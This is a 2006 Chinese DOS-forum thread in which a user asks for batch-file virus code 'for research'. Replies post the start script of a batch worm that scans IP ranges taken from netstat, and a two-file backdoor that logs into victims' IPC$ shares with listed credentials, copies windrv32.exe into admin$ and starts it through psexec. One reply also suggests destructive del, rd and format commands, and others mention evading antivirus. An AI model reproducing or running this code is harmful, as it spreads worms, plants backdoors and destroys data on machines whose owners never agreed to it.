请教，有没有用bat编的病毒代码，用以研究。 - 中国DOS联盟论坛

Bat.Worm.Muma病毒的起始脚本:
START.BAT：
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
下面的是自动后门.
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

@net use \\%1\ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection ............OK

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@psexec \\%1 c:\winnt\system32\windrv32.exe

@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

第1楼　YYDDOS	发表于 2006-12-13 05:34
初级用户　发帖 16　积分 38　来自乡下
请教，有没有用bat编的病毒代码，用以研究。 ;);)

第2楼　zh159	发表于 2006-12-13 05:41
金牌会员　发帖 1,467　积分 3,687
有： del/q . rd/q * format ^_^

第3楼　tianzizhi	发表于 2006-12-13 05:45
高级用户　发帖 214　积分 623
Bat.Worm.Muma病毒的起始脚本: START.BAT： CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n\|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START 下面的是自动后门. --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection ............OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @psexec \\%1 c:\winnt\system32\windrv32.exe @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

第4楼　ccwan	发表于 2006-12-13 05:46
金牌会员　发帖 1,160　积分 2,725　来自河北廊坊
硬盘杀手（澳洲版）批处理源代码我曾经把代码存为*.bat，立即被卡巴杀掉了^_^

第5楼　echo	发表于 2006-12-13 05:49
初级用户　发帖 69　积分 148
拜托，TXT也会被杀的，不过看了个BAT　SHELL说有办法逃过它，呵呵

第6楼　vkill	发表于 2006-12-13 05:57
金牌会员　发帖 1,744　积分 4,103　来自甘肃.临泽
没有IPC$ psexec就不能用，其实上面的那个是针对太不安全的虮子的

第7楼　lxmxn	发表于 2006-12-13 06:14
版主　发帖 4,938　积分 11,386
@copy windrv32.exe\\%1\admin$\system32 　　有语法错误把？

第8楼　YYDDOS	发表于 2006-12-13 13:03
初级用户　发帖 16　积分 38　来自乡下
上面的这个病毒有什么破坏力.